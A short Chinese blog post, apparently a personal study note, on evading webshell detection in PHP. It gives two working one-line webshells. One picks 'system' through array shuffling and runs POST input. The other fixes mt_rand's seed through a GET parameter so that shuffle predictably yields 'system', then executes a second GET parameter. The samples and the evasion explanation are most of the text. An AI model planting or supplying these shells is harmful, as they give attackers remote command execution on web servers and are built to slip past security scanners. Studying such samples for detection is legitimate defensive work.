记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
YangYang9YangYan13 小时前
2026年中专计算机专业证书报考指南:高性价比认证与职业路径规划
大数据·人工智能·学习·计算机视觉
云计算练习生13 小时前
渗透测试行业术语扫盲(第二篇)—— 安全基础概念类术语
网络·安全·渗透测试·渗透测试术语·渗透测试概念
严文文-Chris13 小时前
【半监督学习常见算法】
学习·算法·机器学习
WHFENGHE13 小时前
金具线夹测温在线监测装置:电力设备安全运行的核心技术支撑
大数据·人工智能·安全
深蓝海拓13 小时前
YOLO v11的学习记录(八) 使用自定义数据从头训练一个目标检测的模型
学习·yolo
篮球只打两年半13 小时前
普罗米修斯监控系统学习实践报告
学习
white-persist13 小时前
【攻防世界】reverse | Mysterious 详细题解 WP
c语言·开发语言·网络·汇编·c++·python·安全
Rock_yzh14 小时前
LeetCode算法刷题——54. 螺旋矩阵
数据结构·c++·学习·算法·leetcode·职场和发展·矩阵
莫道桑榆晚丶14 小时前
Linux系统编程--------MP3项目实战
linux·学习
yoyo君~14 小时前
本地仓库推送到github
学习·github·无人机